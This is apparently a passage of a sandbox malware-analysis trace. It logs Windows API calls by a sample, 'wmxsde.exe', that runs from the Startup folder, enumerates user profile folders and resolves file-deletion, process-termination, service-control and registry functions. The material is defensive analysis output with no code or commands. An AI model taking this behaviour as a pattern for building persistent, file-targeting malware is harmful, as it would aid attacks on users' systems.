1 [0203.840] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xec7fcdbe, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xec7fcdbe, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0203.840] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0203.840] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0203.840] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0203.840] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0203.840] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xec86f534, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xec86f534, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0203.840] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0203.841] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0203.841] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa9c141bf, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xa9c141bf, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x2c0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0203.841] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0203.841] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0203.841] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0203.841] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0203.841] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0203.841] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xc1adea7d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc1adea7d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc1adea7d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0203.841] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0203.841] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xecb6a452, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xecb6a452, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0203.841] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0203.841] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0203.841] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0203.842] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0203.842] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0203.842] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0203.842] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0203.842] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xeca12ee6, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xeca12ee6, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0203.842] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xeca12ee6, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xeca12ee6, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0203.842] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0203.842] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0203.842] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="Public", cAlternateFileName="")) returned 1 [0203.842] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffc2f2, cFileName="Public", cAlternateFileName="")) returned 0 [0203.842] FindClose (in: hFindFile=0x4531f80 | out: hFindFile=0x4531f80) returned 1 [0203.842] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0203.843] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x40bfcf8 | out: lpFindFileData=0x40bfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0203.843] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x40bfcf8 | out: lpFindFileData=0x40bfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1 [0203.843] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x40bfcf8 | out: lpFindFileData=0x40bfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 0 [0203.843] FindClose (in: hFindFile=0x72a3c8 | out: hFindFile=0x72a3c8) returned 1 [0203.843] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4500048 | out: hHeap=0x710000) returned 1 Thread: id = 56 os_tid = 0xe78 Thread: id = 57 os_tid = 0xe80 Thread: id = 58 os_tid = 0xe84 Thread: id = 59 os_tid = 0xe88 Thread: id = 60 os_tid = 0xe8c Thread: id = 61 os_tid = 0xe90 Process: id = "6" image_name = "wmxsde.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe" page_root = "0x6f551000" os_pid = "0xde4" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010abc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 31 os_tid = 0xde8 [0156.924] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x771e0000 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="GetProcAddress") returned 0x771f51b0 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="GetModuleHandleW") returned 0x771f50d0 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="FindNextFileW") returned 0x7724ee40 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="FindClose") returned 0x7724ed70 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="MoveFileW") returned 0x7722e500 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="GetFileSizeEx") returned 0x7724ef40 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="GetModuleFileNameW") returned 0x771f5090 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="GetFileAttributesW") returned 0x7724ef10 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="ExitProcess") returned 0x771f3cb0 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="GetCommandLineW") returned 0x771f4cc0 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="GetComputerNameW") returned 0x772232c0 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="GetComputerNameA") returned 0x77223780 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="CreateMutexW") returned 0x7724eb70 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="lstrlenW") returned 0x771f6c70 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="lstrlenA") returned 0x771f6c50 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="GetCurrentProcess") returned 0x7724ea10 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="WaitForSingleObject") returned 0x7724eca0 [0156.925] GetProcAddress (hModule=0x771e0000, lpProcName="GetLogicalDrives") returned 0x771f0d20 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="GetTickCount") returned 0x7724dd50 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="DeleteFileW") returned 0x7724ed40 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="WideCharToMultiByte") returned 0x771f6b10 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7724ebb0 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="Sleep") returned 0x771f6760 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="LeaveCriticalSection") returned 0x778bb250 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="ReadFile") returned 0x7724f090 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="CreateFileW") returned 0x7724ed10 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="OpenMutexW") returned 0x7724ebf0 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="EnterCriticalSection") returned 0x778bb2d0 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="WaitForMultipleObjects") returned 0x7724ec80 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="lstrcmpiW") returned 0x771f6bf0 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="lstrcmpiA") returned 0x771f6bd0 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="DeleteCriticalSection") returned 0x7789fb90 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="ReleaseMutex") returned 0x7724ec20 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="CloseHandle") returned 0x7724eab0 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="GetVersion") returned 0x771f56c0 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="CreateThread") returned 0x771f46b0 [0156.926] GetProcAddress (hModule=0x771e0000, lpProcName="ExpandEnvironmentStringsW") returned 0x771f4a40 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="QueryPerformanceCounter") returned 0x771f5da0 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="QueryPerformanceFrequency") returned 0x771f5dc0 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="GetCurrentProcessId") returned 0x7724ea20 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="SetFileAttributesW") returned 0x7724f100 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="GetVolumeInformationW") returned 0x7724f020 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="WriteFile") returned 0x7724f180 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="SetFilePointerEx") returned 0x7724f130 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="SetEndOfFile") returned 0x7724f0e0 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="FindFirstFileW") returned 0x7724edf0 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="GetProcessHeap") returned 0x771f51f0 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="HeapReAlloc") returned 0x778af630 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="HeapAlloc") returned 0x778b2dc0 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="HeapFree") returned 0x771f57f0 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="CreatePipe") returned 0x771f4590 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="SetHandleInformation") returned 0x7724eae0 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="CreateProcessW") returned 0x771f4610 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="CompareStringW") returned 0x771f4430 [0156.927] GetProcAddress (hModule=0x771e0000, lpProcName="CompareStringA") returned 0x771f4410 [0156.928] GetProcAddress (hModule=0x771e0000, lpProcName="OpenProcess") returned 0x771f5cc0 [0156.928] GetProcAddress (hModule=0x771e0000, lpProcName="TerminateProcess") returned 0x771f67e0 [0156.928] GetProcAddress (hModule=0x771e0000, lpProcName="GetSystemTime") returned 0x771f54e0 [0156.928] GetProcAddress (hModule=0x771e0000, lpProcName="SystemTimeToFileTime") returned 0x771f67a0 [0156.928] GetProcAddress (hModule=0x771e0000, lpProcName="GetLastError") returned 0x771f5010 [0156.928] GetProcAddress (hModule=0x771e0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7722edc0 [0156.928] GetProcAddress (hModule=0x771e0000, lpProcName="Process32NextW") returned 0x7722f8f0 [0156.928] GetProcAddress (hModule=0x771e0000, lpProcName="Process32FirstW") returned 0x7722f750 [0156.928] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74580000 [0156.954] GetProcAddress (hModule=0x74580000, lpProcName="RegOpenKeyExW") returned 0x7459e580 [0156.954] GetProcAddress (hModule=0x74580000, lpProcName="RegQueryValueExW") returned 0x7459e5a0 [0156.954] GetProcAddress (hModule=0x74580000, lpProcName="RegSetValueExW") returned 0x7459f530 [0156.954] GetProcAddress (hModule=0x74580000, lpProcName="RegCloseKey") returned 0x7459ed60 [0156.954] GetProcAddress (hModule=0x74580000, lpProcName="OpenProcessToken") returned 0x7459efb0 [0156.955] GetProcAddress (hModule=0x74580000, lpProcName="GetTokenInformation") returned 0x7459ee90 [0156.955] GetProcAddress (hModule=0x74580000, lpProcName="OpenSCManagerW") returned 0x745a0540 [0156.955] GetProcAddress (hModule=0x74580000, lpProcName="OpenServiceW") returned 0x7459fa20 [0156.955] GetProcAddress (hModule=0x74580000, lpProcName="CloseServiceHandle") returned 0x7459fc00 [0156.955] GetProcAddress (hModule=0x74580000, lpProcName="ControlService") returned 0x745b26d0 [0156.955] GetProcAddress (hModule=0x74580000, lpProcName="QueryServiceStatus") returned 0x745a2380 [0156.955] GetProcAddress (hModule=0x74580000, lpProcName="EnumDependentServicesW") returned 0x745b2f70 [0156.955] GetProcAddress (hModule=0x74580000, lpProcName="EnumServicesStatusExW") returned 0x7459fc80 [0156.955] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75f20000 [0157.477] GetProcAddress (hModule=0x75f20000, lpProcName="SystemParametersInfoW") returned 0x75f4f210 